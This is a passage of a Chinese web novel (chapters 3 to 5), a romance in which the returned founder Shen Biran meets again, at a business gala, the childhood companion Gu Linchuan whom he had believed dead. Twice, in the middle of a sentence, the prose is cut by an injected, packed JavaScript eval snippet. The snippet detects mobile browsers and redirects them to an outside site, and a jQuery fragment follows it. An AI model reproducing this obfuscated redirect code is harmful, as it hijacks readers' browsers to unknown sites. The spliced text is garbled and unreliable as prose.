《丢掉的小狗很想你》 3. 第 3 章 云澜国际公寓车库。 沈璧然左手绑着纱布,面容惨白,但笑意恳切。 “白导,实在抱歉,是我车祸后惊慌失措,非把听檀喊出来。” 没想到剧组导演亲自来医院抓人了。 宋听檀缩在车里作鹌鹑状,隔着玻璃对沈璧然瘪嘴。 白翊三十出头,多部票房爆作加身,在圈里分量很重。别的导演恨不得把宋听檀捧在手心,只有他苛刻无情,宋听檀背地里喊他白无常。 但他对初次见面的沈璧然却很温和,叮嘱道:“需要帮助就随时找我,听檀未必能及时看手机。” 沈璧然客气道谢,目送车辆驶离,转身上楼。 门一关,绷着的劲卸去,疲惫与疼痛翻涌,他蜷进沙发,对着黑暗的公寓发呆。 顾凛川是沈璧然七岁那年从桥洞下捡回来的。福利院的孩子,不知为什么跑出来,问也不说。沈璧然觉得他在桥洞里肯定会冻死,坚持把人带回家。爷爷沈鹤浔的一位老友看见了,说顾凛川命火盛而不焦,坚韧绵长。温火暖玉,对沈璧然命格有助。 沈家便收养了顾凛川。 顾凛川性子孤僻,但对沈璧然百依百顺,出门帮沈璧然拎东西,过马路帮沈璧然看车,跟保姆学着给沈璧然泡奶,还帮他梳因为过于柔软而睡一觉就乱七八糟的头发。 沈璧然暗中观察顾凛川,发现他睡觉总惊醒,每到一个地方都对周围环境很紧张,像个竖着汗毛的小动物。 于是沈璧然对他唱歌、给他讲笑话,撒娇耍宝地摊平在他身上、咬着耳朵说些天马行空的话。使尽浑身解数,非要让顾凛川放松下来。 某天午睡醒来,顾凛川正看着他,忽然说:“你名字很好听。” 沈璧然一双惺忪睡眼,弯弯地笑起来,“气与香衣杂,光侵画壁然。爷爷给我取的。” 顾凛川眸光轻动,“不是你那个璧吧。” “我家这两代都从金从玉嘛,就像我爸叫沈从翡、大伯叫沈从铎。”沈璧然头头是道,“爷爷说,玉雕画比纸画更好看,所以我叫璧然。” “哦。”顾凛川低声说:“那是好看。” “顾凛川。”沈璧然把扫进衣领的头发拢起来,“我点心包里有一条丝巾,你给我找找。” 顾凛川掏出那条淡香槟色、绣着小猫的丝巾,“这不是阿姨的吗?” “我想扎一下头发嘛,脖子痒死了。” 顾凛川没问他为什么不像其他男生那样理短发,看着他笨拙地扎好发尾后,伸手替他把丝巾结拉松了一点。 长睫轻颤,遮着顾凛川低垂的眼,他闷声说:“别扎太紧,该扯疼了。” …… 沈璧然是被头皮的扯痛叫醒的,他在沙发上枯坐半夜,不知何时睡着了。 日光洒满房间,昨天的一切恍若泡影,但浑身的疼痛却提醒着他,一切都是真的。 他不敢独自胡思乱想,立即洗澡出门,忍着头晕胃痛坐在风雷资本楼下的咖啡厅,尝试联系昨天被他放鸽子的赵钧。 足足等过两小时,助理才回复说赵总今天满会。 这是婉拒,在沈璧然意料之内,但他不想就这么放弃。浔声如今在生死关头,救是一定要救的,但要先将其逼入死地,趁机拿回本该属于他的控制权。风雷是浔声自成立以来的主力投资方,他一定要阻止赵钧向沈从铎伸出援手。 沈璧然手上掌握着浔声不少灰色交易的证据,是筹码,也是双刃剑,他在犹豫是否要花在赵钧身上。 一道熟悉的身影忽然从窗外快步经过,沈璧然不动声色地看过去——赵钧的秘书亲自下来接人,接的正是他大伯沈从铎。 果然已经接触上了。 沈璧然正推测这两人交涉到什么阶段,一个电话忽然打了进来。来电显示“祝锦悦”,上周和他相过亲。 “Noah。”女孩声音开朗,“我堂哥听说了你的项目,想约你聊聊。你今晚有时间吗?” 沈璧然有些惊讶,据他所知,祝锦悦只有一个堂哥,叫祝淮铮。祝家实力雄厚,但祝锦悦的父亲只算旁系,和逐渐掌权的祝淮铮无法相比。 金字塔尖的人,沈璧然能了解的很有限,好在对方频繁上新闻、登杂志,长相气质还是能窥见一二。他花了番心思准备见面礼——一枚蓝宝石袖扣给祝淮铮,一条手工丝巾托他转交给祝锦怡,上次见面,祝小姐夸过丝巾好看。 见面地点在CBD附近的独栋建筑。外漆洁白简约,内里装潢却浓郁复古。厚实的地毯和壁纸吞没了脚步声,书架成排顶立,错落环绕,把空间切割得复杂多变。沈璧然一进去就被勾了魂,缓缓挪步到深处,见一人翘腿坐在沙发里等他。 见到真人,方知媒体上的耀眼已属藏锋。祝淮铮气质矜贵,眉目俊逸,目光将沈璧然从头到脚一扫,带着某种友好的探究。 他起身迎上来,“初次见面,我是祝淮铮。” “Noah Shen.”沈璧然舒眉浅笑,“祝总,幸会。” 握手之际,祝淮铮的目光似乎溜向了那些藏书架的深处,沈璧然正要跟随看去,祝淮铮却已收回视线。 房间里很安静,但因为难以窥得全貌,显得有些神秘。 沈璧然直觉般地问:“里面有别人吗?” 祝淮铮顿了下,“我的猫在里面睡觉。” “哦。”沈璧然立刻放低了声音,“那我们小声一点。” * 谈话比预想中融洽。 但,说不清哪里有点怪。 祝锦怡说,祝淮铮对他的项目感兴趣。可面对面聊了半天,对方只字不问产品,反而很关心他本人——问为什么学计算机,问西海岸生活是否舒适,问他在斯坦福的团队几人、成员性格如何、日常会不会一起喝酒打牌…… 沈璧然以为他关心创业历程,一一耐心作答,但紧接着又被问起几岁出国、为何回来,甚至关心他在国内能不能吃得惯、有无亲友、会不会孤单。 要不是沈从铎不可能攀得上祝家,他几乎要怀疑这人是他大伯派来的了。 沈璧然头一回和这种青年权贵打交道,虽然困惑,但极尽真诚,把能为外人道的部分娓娓道来。 一番闲聊后,祝淮铮手机响,他看了眼消息,放下手机问道:“手腕怎么了?” 沈璧然今天特意穿了件宽袖的风衣遮纱布,也不知怎么被发现的,诚实答道:“昨天在高速上追尾了。” 祝淮铮又问具体伤情,他简单提了几句,说并不严重。 祝淮铮神情关切,“怎么不在医院观察两天?” “最近事忙。”沈璧然说,“外伤而已,不耽误做事。” “身体总归会难受的。”祝淮铮不赞同地说,“我听说脑震荡的后遗症很麻烦,你要多休息,晚上早点睡。” 沈璧然停顿了下。 不知是否错觉,这几句关心,要说是客套,语气未免太过随意,可要说是敷衍,神情又超乎真诚。祝淮铮身份太高,这场聊天应该是沈璧然努力经营,他随性就好。可他竟发出这种近乎朋友的劝告,让沈璧然产生一丝微妙的,被越界了的感觉。 偏偏对方又点到即止,不至于引起警惕,但让沈璧然很懵。 “你单身?”祝淮铮忽然又转了话题。 沈璧然微愣,点头。 祝淮铮笑,“祝锦怡说你有个初恋,已经过世了。” 沈璧然有些恍惚,有种一下子又回到相亲局上的错觉。 祝淮铮明明不是什么荒唐纨绔,但不知为何,提起他已故的恋人,竟好像有点兴奋。 “怎么死的?”他一脸好奇。 “……” 其实还没死,沈璧然心说,但我也是昨天才发现的。 他犹豫片刻,还是决定节约解释成本,“据我之前了解,是意外。” “哦——”祝淮铮点头,说了句真遗憾,但语气里听不出半点遗憾,“人死了,你难过吗?” “?” 从来没有人问过这么奇怪的问题。 沈璧然不爱说谎,但很擅长避重就轻,迂回道:“我知道的时候已经分手一段时间了。” “那就是不难过。”祝淮铮擅自曲解他的意思,声音还有点大,吓了沈璧然一跳。不等他反驳,祝淮铮又问:“既然都分开很久了,你怎么知道他死了?” “……” 是想当然的推理。 然而推理错了。 沈璧然沉默许久,“听说的。” 祝淮铮刨根问底,“听谁说的?” “……” 祝淮铮可能是上天派来拷问他的,逼迫他回忆这许多年来犯的蠢,不回忆完不许走。 沈璧然煎熬作答:“……新闻。” 祝淮铮唇角扯了一下,抿一口红酒,低头掩唇轻咳。 明明是在偷笑。 沈璧然甚至怀疑自己从他脸上读出了一句“我怎么没听说”。 结果直到散场,祝淮铮也没问一句正事。 临别前,沈璧然把礼物送上。那枚蓝宝石袖扣论成色、价值都远不如祝淮铮自己的物件,但祝淮铮眼睛一下子亮了,放在手里摸来盘去,像是个很稀罕的玩意。 沈璧然试探道:“祝总要是感兴趣,还有同系列的领带夹。” “这就够了。”祝淮铮摆手,一边把玩一边嘀咕道:“我打算拿它在市中心换两套房。” 沈璧然笑了,“您真幽默。” 祝淮铮揣好袖扣,“对了,你知道光侵吗?” 沈璧然点头,“Peak在国内的一家投资公司。” 祝淮铮“嗯”了声,“估计是给继承人的考卷,你听说过那位顾总吧?” 沈璧然立即在脑海里过了一圈利益关系——Peak没碰过内地互联网,所以顾、祝两家应该没有深交。听祝淮铮提到顾凛川的用词,也基本可以断定他们并不认识。 于是他从容以对:“新闻里听说了一二。” “又是新闻啊。”这话不知戳中了祝淮铮哪根神经,那双眼中闪过促狭,“那,见过面么?” 沈璧然无奈,“祝总说笑了。” 祝淮铮朝他眨眨眼,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834869|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒有几条门路,试着替你引荐一下?” 沈璧然闻言浑身寒毛爆炸,恨不得飞退十米,但表面滴水不露,风趣道:“那我先回去带团队沉淀十年,争取不损害您这个中间人的声誉。” 从里面出来,沈璧然绕着楼转了一圈,这里应该是祝淮铮的私产。祝淮铮一派时尚男模气质,审美却很端庄复古。那浩瀚藏书堪比沈家书房,刚才匆忙几瞥,来不及仔细参观,实在勾得人心痒难耐。 沈家分家后,沈璧然随父母草草移民。等收回浔声,他一定要讨回老宅的钥匙,把从前卧室里、阁楼上那些旧物旧书都拿回来。 想到沈家阁楼,他大脑空白了一瞬,无可避免地想起那个住在阁楼上,每晚给他读书讲故事、哄他睡觉的人。 有些记忆哪怕尘封已久,稍一触碰便卷土重来。 手机忽然响,打断了他对前任无耻的挂念。 医院说昨天探望他的人落了块表在护士台。沈璧然没当回事,顺路去取,但一看到东西,愣了。 手表水深,他玩不起,但很懂。这是一块百达斐丽的私人订制——八角舷窗,毛利风格,全盘雕刻。有点像孤品鹦鹉螺,但表盘颜色更深沉浓郁,时标也不是经典的白金,而是玉。 含蓄与掠夺并驱,太利落,太好看,看得他走了一会儿神。 护士说:“应该是你朋友吧,来找人的,听我们提到你的名字,就仔细问了你的情况。” 朋友? 沈璧然哪有这种朋友。这种规格的私人订制恐怕要上千万,而且不是有钱就能买到。宋听檀差得远,白翊也够呛,而且昨天白翊戴的是一块迪通拿。 “什么样的人?” “三个帅哥,里面好像还有助理。”护士比划了一个高个子,又纠正了一下:“哦,两个帅哥,一个普通人。” 除了宋听檀和白翊,沈璧然只对赵钧的助理说过自己在这家医院。赵钧确实有两个助理,都很高很帅,他本人相貌中等,各项条件都能对上,但沈璧然想不通,他还没和赵钧正式见面,赵钧怎么会一声不吭来探望? 他陡然想起出现在风雷大厦的沈从铎,难道沈从铎已经发现他回国了? 沈璧然推理出诸多可能,但不敢贸然询问。不料赵钧主动打来电话,一番嘘寒问暖,把今天的冷落全都推罪给助理,又提起周末晚上有一场政商联合晚宴。 沈璧然知道那场晚宴,他远远不够格参加。但刚巧,前几天有位投资人顺手给了他一张邀请函。 赵钧摆出一副宽和的架势,“我带你一起去吧,顺便聊聊项目。” 沈璧然已经手握入场券,但既然赵钧这么说了,他就大方应下来,静观其变。 夜幕降临,特斯拉从医院驶出,却没有回云澜国际,反而朝高楼林立的CBD驶去,最终在那栋最气派的大楼外一圈一圈地慢慢兜转。 “光侵资本”石碑才刚落地,殊不知正被一双心虚而疯狂的眼睛注视着。沈璧然双手紧攥方向盘,嘴角挂着丝自嘲的笑。 在那通电话后,原本荒芜的心疯长出野草,再怎么刻意不理,也终是按捺不住。 顾凛川没有回拨电话。 今时今日,顾凛川不想过多理会,是理所当然。但沈璧然想看他一眼,自认为也是应当应分。 不必相见,只远远地,看一眼就好。亲眼见到那人活着、活得很好,他就可以为这些年来的悔恨画一个句号,从此巨鲸海鸟,天高地阔,再无牵绊。 可一直徘徊到夜深人静,仍未得偿所愿。 沈璧然随手点开新闻,财经记者刚好在报道光侵。正式走上台前的顾凛川不再神秘,家世故事已为人津津乐道。 顾凛川生父顾峦,是顾家的嫡长子,联姻前曾有过一个女人。女人意外怀孕后不告而别,整个顾家包括顾峦自己都不知道顾凛川的存在。二十年前,顾峦与妻儿一家三口遭绑架遇害。多年后,顾老爷子阴差阳错地从仇人口中知晓了可能还有一个流落在外的孩子,费尽周折把人寻回,六年来把消息压得密不透风,潜心培养,只等他羽翼丰满,一朝出笼。 沈璧然听着那些经历,眼前又浮现起从前。 小时候,他无论去哪都一定要把顾凛川带在身边。父母问起,他就做出一副使唤顾凛川惯了的骄纵样子,但实际上,是因为他知道自己身边跟着的那一众司机、保姆会让顾凛川感到安全。 童年的顾凛川总是疑神疑鬼,而沈璧然并不在意危险是否真的存在,他只希望顾凛川能踏实一点。 顾凛川从没对他说过谢谢,但只要他们对视一眼,顾凛川就会收拾好沈璧然出门要带的点心包,自觉地向他走来。 究竟是谁需要谁,无需言明,那是他们的心照不宣。 午夜,那栋大楼顶层的最后一盏灯灭了。 沈璧然在车上轻轻叹气,也许这就是注定——上天还给他真相,但却不肯再成全他一个无声的道别。 是他先说“不过问往后”,他逼迫顾凛川做到,自己就不该率先失约。 灰头土脸的特斯拉发出一声无力的轰鸣,转向离开。 4.第 4 章 周末晚,沈璧然准时赴约。 从车里下来的青年一身墨黑西装,带一点燕尾,身姿笔挺从容。周遭嘉宾侧目,他微笑回视,得到一连串客气的“您好”。 从前宋听檀就感慨,沈璧然,人如玉,内外兼是,引人神往。 迎宾上前问候,沈璧然轻声回礼,递证件时露出一截干干净净的手腕。在这个圈子里,女人挑珠宝,男人看手表。沈璧然喜欢表,奈何身家不够,玩不到最好、最过瘾的,他宁可不碰。是以他一身清爽,只缀了对袖扣,鸽子血随举手投足若隐若现,为空落的衣袖间添上一丝璀璨。 一个圈子有一个圈子的通行法则,先敬罗衣后敬人,自古如此。 赵钧还没见过沈璧然,但沈璧然认识他,上前问候,落落大方。 初照面,赵钧看他的眼神带着几分探究。几句交谈后,目光变得友善。 沈璧然将这变化尽收眼底,但习以为常。无论是谁,带着怎样的成见,只要和他聊上几句,就算不交朋友,也能消去嫌隙。气质谈吐是他最大的优势,家道再没落,刻进骨子里的东西不会变。 赵钧原本给沈璧然准备了一张随行证,但还没拿出来,就一眼扫到了他手上的邀请函——“Noah Shen”,glance CEO。 glance是什么?横空出世的小公司,空有概念,没见真东西,从头到尾也只有个创始人四处游说。但这样的人,能把他的同行们哄得团团转,能有名有姓地出现在这种级别的晚宴,能比那些豪门少爷都更从容自如。 赵钧心下更坚定了推断,这个年轻人大有来头。 穿过走廊时,赵钧从酒侍盘中拿起两杯红酒,先递给沈璧然。 沈璧然没有推让,目光柔柔地瞥过酒签,笑说:“多谢赵总照顾,我的好朋友也很喜欢黑皮诺。” 赵钧话语客气,带着探究,“那下次有机会一起。” 沈璧然朝他举杯致意,抿下一口,愉悦的笑意在黑眸中漫开,不多,一点点而已,但却润物细无声地把赵钧捧得舒舒服服。 二人一同入场,理论上,他们是资方和乙方,但沈璧然完全不提自己的公司,和赵钧随口聊了几句投圈新闻,啜饮半杯红酒。 “你身体怎么样了?”赵钧主动提起前两天的交通事故。 “头还有点晕。”沈璧然歉意微笑,“赵总随意,我去休息一下。” 从赵钧身边脱身,沈璧然独自登上二层环廊,将会场一览无余。 一楼主宴厅容纳了几乎全部来宾,二层有几间休息室,三层是私密包房,招待最具分量的VIP。沈璧然看见其中一间门口立着四个黑衣保镖,大概是有大人物已经到了。 对那间房里的人,沈璧然够不上,也不做多想,他静静地观察下面——有一些见过的投资人,待会儿要去打招呼,还有几个他想认识一下,需要找人搭桥。只片刻,他就在脑海中串好了线。 赵钧偶然抬头,再次向他致意,沈璧然亦提杯一笑。 今晚,他不会再找赵钧。他的时间也很宝贵,能在咖啡厅空等赵钧两小时,也能在晚宴上只给对方十分钟。对这种人,一味高冷、逢迎都不行,需得进退有度,方能拿捏。 刚才他已经套出了赵钧态度转变的原因——竟然是因为祝淮铮。前因后果让人哭笑不得:赵钧一个做硬件的朋友原本约了祝淮铮谈合作,等了足足大半月,祝淮铮却临时放人家鸽子,理由是要去见什么glance的老总,还说十万火急、重中之重,把人家唬得一愣一愣,结果网上根本搜不到glance这家公司,跑来和赵钧吐槽,把赵钧吓了一大跳。 赵钧话里话外一直在套沈璧然和祝淮铮的关系,难怪沈璧然随口提了一句朋友喜欢黑皮诺,他也要试探那位朋友的身份。沈璧然只能笑着打太极,大概更显得深不可测了。但苍天可鉴,他和那位小祝总真是攀不上半点关系。 不过,既然是因为祝淮铮才重视起来,那手表就与赵钧无关了。沈璧然不想再纠结,决定把烫手山芋还给医院。 他转身下楼,和墙上的摄像头对视一眼。 会场处处都装着摄像头,他未多作多想,拾阶而下。 殊不知,那一秒的回眸被清晰捕捉,此刻,放大在VIP包间内的屏幕上。 会客厅摆着三只沙发,顾凛川坐中间主位。左边是裴砚声,父系是地产龙头,母系做文娱传媒。裴砚声性格阴郁,在裴家是不受宠的庶子,但却是顾凛川在欧洲多年的朋友,跟着他一起回国。右边的叫周聿桁,周家是做贵金属的老钱,周聿桁从小就是被明确培养的长子,他和前几天的祝淮铮都是顾凛川出国前认识的,虽然彼此间不太对付,但都是顾凛川的心腹。 顾凛川刚走上台前,外界都翘首以待他会如何组织派系,他这个月也安排了几场公开行程,要带三位好友过明路。 不过今天这场小家子气的晚宴不在计划内,他也是偶然听到宾客名单,才临时拉人出来透透气。 Jeff立在旁边扮演端酒的服务生——他老板不喜欢闲杂人等伺候,所以他这个助理时常要兼职保姆。他看着沙发里的两位,心里却想起前两天赖在老板办公室的小祝总——老板本来第一个要带出来亮相的是祝淮铮,却不想从光侵剪彩礼一直拖到现在,总算有个场合,却换了人。 说重视吧,却拖延着不肯带出来曝光。但要说不在意,昨天却吩咐他在市中心给小祝总挑两套房。 他猜不透顾凛川的想法,也读不懂另外两位的表情。三座冰山坐一起,他都要冻感冒了,连倒酒的动作都小心翼翼。 周聿桁看着屏幕,“就是这位?” 哪位? Jeff耳尖轻动,不动声色地瞟向老板。 顾凛川“嗯”了声,切换到一楼的摄像头。 主宴厅宾客如云,表面衣香鬓影,实则透着股臃肿腐败气。一道身影轻飘飘地穿梭其间,凭一己之力,让周遭的一切都像是套了一层什么柔光滤镜。 沈璧然是全场最没“含金量”的,但不费吹灰之力就成了最讨人喜欢的那个。成为宠儿、反客为主,仿佛是他与生俱来的能力,不需多主动,就有一个又一个高官富商被引到身边。他自然地与之交际,提杯饮酒,落杯闲谈,如闲庭信步,优雅从容。那双清白的眼中无势也无欲,笑意温润,周身仿佛散发着一圈淡淡的光晕,这样一个人,谁见了不头晕?谁能不想把他拉入麾下?哪管是生意往来还是儿女姻缘。 顾凛川觉得他像一块玉掉在一坨大肥肉上,摔是摔不碎,但却让人烦躁,让人很想伸手把玉捞上来,细致清洗,再用一条上好的丝巾温柔擦拭。 周聿桁问:“听说是做AI的? “是吧。”顾凛川注视着屏幕。 一直阴着脸的裴砚声看向Jeff,“什么叫是吧?” Jeff无声摇头。 不是查不到,而是老板不让他查。那天从医院出来,他在心里发誓要重新好好查查这个Noah Shen,不料顾凛川预判了他,警告道:“少管闲事。” 即使跟随多年,但Jeff还是常常被骂。做得少了,骂跳蚤脑袋。做得多了,骂多管闲事。 Jeff很无语,老板是天,老板是地,老板是个事逼。 裴砚声也无语,但懒得多问,倒是周聿桁又多说了一句,“好像没什么真东西,只是四处画饼?” 顾凛川思忖片刻,落下评价:“四两拨千斤。” 裴研声嗤了一声,“诈骗吧。” 顾凛川不予置评。他固然不被允许查沈璧然,但在知道沈璧然就是Noah Shen之前,他已经查过他的公司了,这就不能怪他。在他看来,glance的创始人虽有空手套白狼的嫌疑,但行事巧妙,哪怕是骗,也是那种很无害的小骗子,搅一搅浑水,还能活跃一下死气沉沉的风投市场,值得嘉奖。 屏幕上,沈璧然和一个大腹便便的老男人已经聊了五分钟。Jeff说是一家本地小银行的副行长,叫赵什么平。顾凛川觉得内资圈实属没救了。他调整镜头角度,把那张油腻的脸切出去,只对着沈璧然。 沈璧然言笑晏晏,两片红唇轻轻开合,小时候清秀的五官彻底长开了,成了老天爷级别的美貌。可惜监控捕捉不到声音,顾凛川略有心痒。 “我侄女很喜欢声音好听的男生。”赵国平笑容满面,“她读波士顿大学,你们离得挺近。” 沈璧然无力纠结波士顿和旧金山到底隔了多远,委婉推拒不成,还是出于礼貌主动加了女孩子的微信。 想见的人已经见完了,他头晕难受,疲惫感涌上来,呼吸间,胸口挫伤隐隐作痛。 赵国平惋惜,“要走了么?真正值得一见的人还没出场。” 沈璧然想起那间保镖环绕的VIP室,不甚在意。他告辞转身,一抬头,却见那间VIP室门开着,保镖已不见踪影。 主宴场灯光忽然调暗,周遭静谧一瞬,紧接着,人群中响起克制的欢呼,像香槟中轻薄绵密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841462|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡沫,各种野心和欲望随之在空气中流淌。 “顾总。” “顾总。” 没有道全姓名,但电光火石间,沈璧然一下子意识到了什么。 众人的脚步和目光均朝着一处去,唯有他背对焦点。他脊背僵硬,但面色平和,垂下眸逆着人流离开。 可他越走越慢,片刻后,还是住了脚。 就看一眼吧。 沈璧然静默回身,在昏影中抬眸,缓缓看向人群中心。 相隔六年,顾凛川重塑根骨。年少时的阴郁一扫而空,如今眉目冷沉深刻,气魄开阔威严。他身形高大,站在众人中央,如众星捧月,很近,又很远。 顾凛川身边一左一右立着两位同样气质出众的男士,身后跟着一众保镖。主办方热情地问候,他不着声色,保镖将人群隔在几米开外,那双深沉的眸扫下来,目光靠近时,沈璧然心跳停滞,可只一瞬,顾凛川的视线掠过他,未做停留。 他们之间似乎有零点几秒的对视,又似乎没有。 每个人都在和顾凛川打招呼,顾凛川完全不过耳,向身后偏了下头,“聿珩。” 那个人便替他开口说了几句场面话,但总体也很高冷。人群里低声感慨“新顾派”第一个人物竟是周聿桁,纷纷猜度起光侵下一步的动向。 顾凛川不受议论困扰,抬脚迈入人群。不需保镖开路,他面前自动让开一条路,路的尽头竟是赵国平。 赵国平受宠若惊,连忙敬酒,一饮而尽。顾凛川态度不冷不热,低声询问了一句什么。 隔得有点远,沈璧然听不清,只依稀捕捉到一道低沉的音色。他立在暗处,注视着那张陌生又熟悉的侧脸,许久,垂眸莞尔,转身欲走。 赵国平扭头一指,“就是那位——Noah!留步。” 沈璧然心脏倏地一沉,脚扎在地上,僵硬爬满脊背,让他连转身都困难。 周围人和善地朝他举起酒杯,哪怕是刚才连一句话都没说过的。 脚步声从身后传来,不紧不慢,压迫感由远即近,近到很近,又在一瞬消散了。 好一会儿,沈璧然转回身。 经年已去,情势颠倒。如今,顾凛川立华光下,而沈璧然隐昏影中。沈璧然倒不觉难堪,虽然被顾凛川今时今日的气派震得脏腑颤栗,但也由衷替他高兴。 他带着清浅笑意抬眸看去,“顾总,久仰。” 顾凛川眸光静而深,似乎温和,又似乎凌厉,灼灼的,像要将他看个对穿。 长久的凝视后,顾凛川开口,“我该怎么称呼?” 沈璧然垂下眸,“鄙姓沈。” 顾凛川错眼不眨,“名字呢?” “……” 沈璧然没有答话。他觉得脑震荡的后遗症开始了,窒息感过重,目光扫到离得最近的酒侍,托盘中刚好有一杯淡色冰酒,他便提杯笼在鼻间,闻一口浓郁辛辣的酒气,醒一醒神。 余光里,那位穿西装的酒侍似乎要阻拦,但他已经饮下一口。 干威士忌,很烈。 酒侍面露尴尬,顾凛川也顿了顿,低声道:“赵副行长说你是美籍华人,刚回国?” 平平淡淡的一句客套,再次引起一阵低声议论。顾凛川曝光没多久,这是他第一次在公开场合与人客套。 沈璧然听到有人低声问Noah是谁,有人解释说是glance创始人,又有人问glance是什么。 人群之中,赵钧看着他的目光震撼错愕。 够了。他决定终止这场荒唐的洋相,将杯中酒一饮而尽,上前一步,轻盈地越过他与顾凛川间那道明暗交错线。 距离拉近了,但顾凛川站立不动,只是看他。满室珠玉华翠,光与影却唯独偏爱一人。柔光勾勒着那双眉眼,薄唇被烈酒浸得红润,虽然面容略有憔悴,但却透出某种格外惹人怜的柔和。 沈璧然对顾凛川笑:“顾总抬举了,我正要告辞,您尽兴。” 说罢他将酒杯放回去,礼貌颔首。 顾凛川语气平静,“沈总似乎不胜酒力,我叫人送你?” 沈璧然弯起眉眼,笑意更浓,“多谢顾总美意,但我的司机已经等了我一晚上。” 顾凛川眉心微动,似是蹙眉,但细看又没有,仿佛一直平静无波。 他不说话,但挡着沈璧然的路,沈璧然无法,只好轻声道:“顾总?” 顾凛川又看了他数秒,终还是轻一点头,往旁边让一步,放他过去了。 5.第 5 章 沈璧然离开时步履轻快,有不熟的人和他道别,他也亲切地与对方再见,甚至还交换了几张名片。 体面的笑容一直维持到停车场。 四下无人,烈酒上头。 很累,车祸遗留的伤痛、回国以来的奔波,皆在这一刻溃堤,将他淹没。 他靠在座椅上阖眼小憩,昏沉地想起刚才那杯酒——酒很烈,大概就是此刻头痛欲裂的源头。 忽然,脑子里闪过一丝什么。他后知后觉那杯酒不对劲。酒杯细腻,不是客用品质。威士忌醇烈,也非晚宴规格。最致命的是那位酒侍,不仅西装考究,还戴了块劳力士。 究竟什么“酒侍”能站在顾凛川的保镖圈内? 难怪那人下意识阻拦,那恐怕是顾凛川的酒杯。 沈璧然重按一下鼻梁,更觉窒息了。 地下空气稀薄,他缓缓发动车子,开到路面上,叫了一个代驾,打着双闪等待。 外面忽然下起雨,今年的第一场雨毫无征兆地冲刷而下。雨水如注,蒙住车窗,让车内变成一个与世隔绝的空间。 沈璧然望着静默雨幕,回想起推测出顾凛川飞机失事的那天——那时,无声的剧痛包裹着他,他无力面对,却无法改变;不能证实,又不得证伪,只能承受,只能任由悔恨将他的心一刀一刀剜割,直到泪流满面。 但今日方知,原来相逢陌路也并不比生死诀别轻松到哪去。 束发的丝巾松了,发丝垂在脸畔颈间,但他无暇拾掇,在车里翻出一支细长的香烟。 火星映进晦暗失光的眸,在香烟顶端舔舐出一圈焦色。雪松香与薄荷气在车内弥漫开,他把烟含入口中,深吸一口,缓缓吐出。 车窗好像被轻敲了两下,但他没有动,以为是错觉。 敲击的力气变重了些,不多,比较克制。他又深吸一口,只当是代驾到了,松开驾驶位的安全带,推开车门。 一条腿还没迈下车,他便静住了,一起停滞的还有他的心跳。 顾凛川孤身一人,撑着一把深黑的雨伞立在车外。伞很大,不仅将滂沱大雨隔绝在外,就连刚推开车门露出半个身子的沈璧然也没淋上分毫。 顾凛川目光落在他指间夹着的那支烟上,顿了顿,“司机有事先走了?” 沈璧然沉默,显然他没有司机,但顾凛川很仁慈。 “我送你。”顾凛川说。 沈璧然努力微笑,“不用,他去替我买解酒糖了,等下就回来。” “下车。”顾凛川好像没听见。 沈璧然垂眸,目光落在顾凛川洁净光亮的皮鞋上,鞋在满是雨水的地上踩得很稳,带着某种不容拒绝的执拗。 顾凛川应该很多年都没有淋过雨了,他没头没尾地想,于是慢吞吞地下了车。 雨声更加清晰,密集有力地击打在头顶的伞面上。沈璧然不喜欢淋到雨,于是本能地敛肩,把自己缩小。但他很快发现伞面足够宽阔,便又放松了身体。 雨伞跟随他的脚步移动到副驾,他开门上车,又残留一丝幻想扭头对顾凛川笑,“顾总,真的不用,司机马上就回来了。” 顾凛川没有露出任何不悦,只是一言不发地看着他。 周遭气氛低沉了几分。 沈璧然只得拉上安全带,顾凛川绕过车头,坐进驾驶位。 特斯拉好像有点小了,沈璧然看见顾凛川的膝盖快要抵到前面。他之前的车是租的,出事故后又租了一辆同型号。他对车没有讲究,代步工具而已,但眼下却觉得有点窘迫。 目光掠过顾凛川的肩,西装上多了一些被雨水洇湿的痕迹。 顾凛川问:“住哪里?” 沈璧然抿了下唇,“中海国际。” 这不是他的公寓,而是宋听檀的住处。沈璧然刚回国头几天在他那里落脚,还在物业登记了人脸识别。 顾凛川不太熟练地用手机搜了一下,“不远。” “嗯。” 汽车平稳驶出,雨刷一下、一下,为窗外的雨声打着拍子。 车里残余着雪松薄荷气,那支香烟已经熄灭了,沈璧然垂眸看着它,两只手捏着,从顶端到尾部一点一点捏下来,再捏回去,像在玩什么解压玩具。 “是女烟么?”顾凛川忽然说,“挺好闻的。” 沈璧然手上的动作停下,没吭声。 “酒有点烈。”顾凛川目视前方,“家里有解酒药吗?” “有。”沈璧然轻轻抿了一下唇,努力不去想拿错酒杯的事,“一杯而已,还好。” “不止一杯吧。”顾凛川一哂,含义不明。 沈璧然被怼得哑口无言。他其实有很多可说,比如与你何干,比如我现在酒量很好、不劳挂念,但他统统说不出来。手机隔着西装布料硌着腿,提醒着他那通尴尬的电话——他实在不敢开口,只要顾凛川提起那通电话,随便问一句什么,就能让他那份可笑的挂念无所遁形。 前方绿灯开始倒计时,酒店附近的这个红灯足有三分半,好在沈璧然心中估算他们应该能在红灯前通行。 车子开到停车线时还有四秒,顾凛川却缓缓踩下了刹车。 “……” 大概是平时没什么自己开车的机会吧,沈璧然接受了顾凛川过于保守的驾驶风格,目视红灯发呆。 